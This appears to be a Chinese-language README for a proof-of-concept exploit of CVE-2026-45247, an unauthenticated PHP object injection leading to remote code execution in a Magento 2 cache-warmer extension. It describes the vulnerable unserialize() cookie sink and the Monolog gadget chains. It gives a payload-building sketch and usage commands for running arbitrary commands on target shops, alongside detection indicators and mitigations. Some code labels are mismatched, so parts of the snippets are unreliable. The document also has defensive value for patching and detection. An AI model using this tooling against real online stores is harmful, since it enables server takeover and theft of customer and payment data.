
CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 未认证 PHP 对象注入 -> 远程代码执行
CVE-2026-45247 是适用于 Magento 2 和 Adobe Commerce 的 Mirasvit Full Page Cache Warmer 扩展中的一个严重 PHP 对象注入(PHP Object Injection) 漏洞。未经身份验证的攻击者可通过在 CacheWarmer cookie 中发送被篡改的 PHP 序列化对象来实现 远程代码执行(RCE)。
该漏洞源于对 PHP 原生 unserialize() 函数的不受限制调用,并结合了 Magento 及其依赖项(尤其是 Monolog)中可用的 gadget 链(gadget chains)。
| 属性 | 值 |
|---|---|
| CVE | CVE-2026-45247 |
| 产品 | Mirasvit Full Page Cache Warmer for Magento 2 |
| 受影响版本 | 所有 1.11.12 之前 的版本 |
| 可用补丁 | 1.11.12 版本(2026 年 5 月 25 日) |
| CVSS 评分 | 9.8(严重) |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CISA KEV 状态 | 已确认被积极利用(2026 年 6 月 3 日添加) |
| 截止日期 | 2026 年 6 月 6 日 |
CacheWarmer cookieunserialize()SyslogUdpHandler、BufferHandler、FingersCrossedHandler)实现 RCE# 检查商店是否使用 Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
第 2 阶段:漏洞分析
python
# 该 cookie 在每次请求中无需身份验证即被处理
# Mirasvit 中的漏洞代码:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # 危险!
第 3 阶段:漏洞利用执行
python
# 构造恶意 cookie
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# 发送请求
requests.get(target, cookies={'CacheWarmer': cookie_value})
🛠️ PoC 的使用
安装
bash
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
基本用法
bash
# 检查漏洞
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# 执行 'id' 命令
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# 执行自定义命令
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# 使用代理进行调试
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
快速脚本
bash
# 使用 bash 脚本检查
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
📊 已证实的影响
- 在 Magento 服务器上远程执行命令(RCE)
- 完全访问客户和订单数据库
- 安装 webshell 以实现持久化
- 在线商店被完全入侵
- 潜在的信用卡数据泄露
- 在企业基础设施中横向移动
🛡️ 检测
失陷指标(IOCs)
在访问日志中:
text
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
在利用过程中观察到的命令:
bash
echo PWNED_CVE2026_$(date +%s)
sleep 5
所使用的 gadget 链:
- Monolog\Handler\SyslogUdpHandler
- Monolog\Handler\BufferHandler
- Monolog\Handler\FingersCrossedHandler
- Monolog\Handler\GroupHandler
🔧 缓解措施
立即升级
bash
# 升级到已修补的版本
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
临时缓解措施
nginx
# 在 .htaccess 或 nginx 中阻止 CacheWarmer cookie
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
php
// 在 app/code/local/Custom/BlockCookie.php 中
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}